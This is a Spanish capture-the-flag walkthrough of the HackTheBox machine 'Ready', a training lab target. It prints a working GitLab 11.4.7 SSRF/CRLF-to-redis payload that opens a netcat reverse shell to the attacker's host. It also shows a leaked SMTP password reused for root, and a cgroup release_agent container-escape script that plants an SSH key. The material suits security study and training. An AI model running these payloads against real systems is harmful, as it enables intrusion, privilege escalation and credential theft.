Ready es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ready 10.10.10.220 a /etc/hosts como ready.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Nmap 7.70 scan initiated Sun Dec 13 11:23:29 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.220 Nmap scan report for 10.10.10.220 Host is up (0.086s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 5080/tcp open http nginx | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-server-header: nginx | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.220:5080/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 13 11:24:26 2020 -- 1 IP address (1 host up) scanned in 57.61 seconds |
Revisamos los puertos descubiertos y lo único que puede interesarnos ahora es el puerot 5080 que al ser un nginx será un portal web.
Enumeracion
Accedemos a través del navegador al puerto 5080 y obtenemos un portal con el software Gitlab:
Como nos disponemos de una cuenta, nos creamos la misma y accedemos al portal:
Y en primer lugar, vamos a ver la ayuda del portal, que entre otras cosas nos indicará la versión del mismo y nos dará pistas sobre que hacer a continuación:
Descubrimos que se trata de la versión 11.4.7 por lo que nos vamos a google a buscar si existe alguna vulnerabilidad y encontramos dos, SSRF y CRLF, y una POC bastante interesante sobre como llevar a cabo el ataque:
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
Además de esto, como se trata de una versión Community vamos al repositorio de código de gitlab y encontramos en github el código que identifica las correcciones realizadas para las vulnerabilidades de SSRF y CRLF.
Así que vamos a tratar de realizar el ataque. Para ello se trata en aprovechar la vulnerabilidad para poder acceder ya sea desde la importación por url o desde dentro de un proyecto añadiendo un repositorio nuevo, conectar con el servicio redis interno que escucha sólo en localhost con el objetivo de lograr un RCE en el mismo y obtener información sensible del sistema o, en su defecto, realizar la ejecución de ciertos comandos que nos ayuden a obtener acceso al servidor.
Vamos a hacer una primera prueba con la dirección de localhost, 127.0.0.1:
Pero al realizarlo de esta forma nos da un error, por lo que utilizaremos la técnica de bypass mediante ipv6 para intentar saltar la restricción:
Y en este caso no nos da ningún error, por lo que será la técnica utilizada para realizar la ejecución de nuestro payload, quedando entonces nuestro código completo de la siguiente forma:
|
1 2 3 4 5 6 7 |
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 10.10.14.13 4444 -e /bin/bash \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec exec /ssrf.git |
Ahora ya tenemos el código completo, pero nos falta un paso más y es codificar el mismo para evitar que se bloqueado por el uso de ciertos caracteres no permitidos, así que codificamos nuestro payload y el código completo quedaría tal que así:
|
1 |
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%2010%2E10%2E14%2E13%204444%20%2de%20%2fbin%2fbash%20%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git |
Ahora que ya lo tenemos generado, abrimos una escucha con netcat en el puerto que indicamos en el payload y lanzamos la creación de un nuevo proyecto, importado desde url, y cuya url será el payload que acabamos de generar.
A los pocos segundos de crear el proyecto con nuestro payload veremos en nuestra escucha como hemos obtenido acceso con el usuario git:
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.220] 49770 id uid=998(git) gid=998(git) groups=998(git) whoami git |
Como tenemos una shell bastante incómoda utilizaremos python para obtener una más adecuada y con la que nos será más fácil continuar trabajando:
|
1 2 |
python3 -c 'import pty;pty.spawn("/bin/bash")' git@gitlab:~/gitlab-rails/working$ |
Y ahora tocat enumerar, así que buscamos por el sistema y encontramos unos ficheros interesantes en la ruta /opt/backup:
|
1 2 3 4 5 6 7 8 9 10 |
git@gitlab:/opt/backup$ pwd pwd /opt/backup git@gitlab:/opt/backup$ ls -l ls -l total 100 -rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml -rw-r--r-- 1 root root 15092 Dec 1 16:23 gitlab-secrets.json -rw-r--r-- 1 root root 79639 Dec 1 19:20 gitlab.rb git@gitlab:/opt/backup$ |
Y encontramos una password en el fichero gitlab.rb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
git@gitlab:/opt/backup$ cat gitlab.rb|grep -i password cat gitlab.rb|grep -i password #### Email account password # gitlab_rails['incoming_email_password'] = "[REDACTED]" # password: '_the_password_of_the_bind_user' # password: '_the_password_of_the_bind_user' # '/users/password', #### Change the initial default admin password and shared runner registration tokens. # gitlab_rails['initial_root_password'] = "password" # gitlab_rails['db_password'] = nil # gitlab_rails['redis_password'] = nil gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h" # gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false} ##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab` # postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH' # postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>` # redis['password'] = 'redis-password-goes-here' ####! **Master password should have the same value defined in ####! redis['password'] to enable the instance to transition to/from # redis['master_password'] = 'redis-password-goes-here' # geo_secondary['db_password'] = nil # geo_postgresql['pgbouncer_user_password'] = nil # password: PASSWORD ###! generate this with `echo -n '$password + $username' | md5sum` # pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)' # password: MD5_PASSWORD_HASH # postgresql['pgbouncer_user_password'] = nil git@gitlab:/opt/backup$ |
Probamos a escalar privilegios, y conseguimos con la misma escalar a root dentro del contenedor:
|
1 2 3 4 5 |
git@gitlab:/opt/backup$ su su Password: wW59U!ZKMbG9+*#h root@gitlab:/opt/backup# |
Obteniendo la flag de user
Con root dentro del contenedor, nos vamos a la home del usuario dude y obtenemos la flag de user:
|
1 2 3 4 5 6 7 8 |
root@gitlab:/home/dude# ls -l ls -l total 4 -r--r----- 1 dude git 33 Dec 2 10:46 user.txt root@gitlab:/home/dude# cat user.txt cat user.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2 root@gitlab:/home/dude# |
Y tenemos ya la mitad de la máquina realizado.
Escalado de privilegios
Después de dar unas vueltas y enumerar varias veces el sistema, no encontramos nada que pueda ayudarnos por el momento a conseguir escapar del contenedor, aśi que buscamos alguna técnica en google y encontramos un post donde explica como escapar de Contenedores Privilegiados.
Así que siguiendo con la explicación vamos a crear el script para realizar la explotación y escapar del contenedor.
Necesitaremos previamente crear una clave ssh que será la que importaremos mediante el script para obtener acceso posteriormente a la máquina como root, así que generamos la nuestra y la incluimos en el script quedando así:
|
1 2 3 4 5 6 7 8 9 10 11 |
#!/bin/bash mkdir /tmp/byte && mount -t cgroup -o rdma cgroup /tmp/byte && mkdir /tmp/byte/x echo 1 > /tmp/byte/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/byte/release_agent echo '#!/bin/sh' > /cmd echo "echo 'id_rsa.pub' > /root/.ssh/authorized_keys" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/byte/x/cgroup.procs" |
Subiremos entonces el script a la máquina mediante un server en python levantado en local:
|
1 |
$ python3 -m http.server 8000 |
Descargamos y damos permisos de ejecución:
|
1 2 |
wget http://10.10.14.13:8000/descape.sh chmod +x descape.sh |
Y ejecutamos el mismo:
|
1 2 3 |
root@gitlab:/tmp# ./descape.sh ./descape.sh root@gitlab:/tmp# |
Y ahora sólo nos queda acceder por ssh con nuestra clave de root:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ ssh -i /tmp/root.pem root@10.10.10.220 Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 14 Dec 2020 09:30:01 PM UTC System load: 0.13 Usage of /: 66.5% of 17.59GB Memory usage: 74% Swap usage: 0% Processes: 336 Users logged in: 0 IPv4 address for br-bcb73b090b3f: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.220 IPv6 address for ens160: dead:beef::250:56ff:feb9:a314 => There are 6 zombie processes. * Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC. https://microk8s.io/high-availability 170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Sun Dec 13 15:04:10 2020 from 10.10.14.5 root@ready:~# id uid=0(root) gid=0(root) groups=0(root) root@ready:~# whoami root |
Obteniendo la flag de root
Ahora que ya somos root en la máquina, nos vamos a la home del usuario y obtenemos nuestra flag:
|
1 2 3 4 5 6 7 8 9 |
root@ready:~# ls -l total 16 drwxr-xr-x 3 root root 4096 Dec 1 12:41 docker-gitlab drwxr-xr-x 10 root root 4096 Jul 9 15:24 ready-channel -r-------- 1 root root 33 Jul 8 11:18 root.txt drwxr-xr-x 3 root root 4096 May 18 2020 snap root@ready:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3 root@ready:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
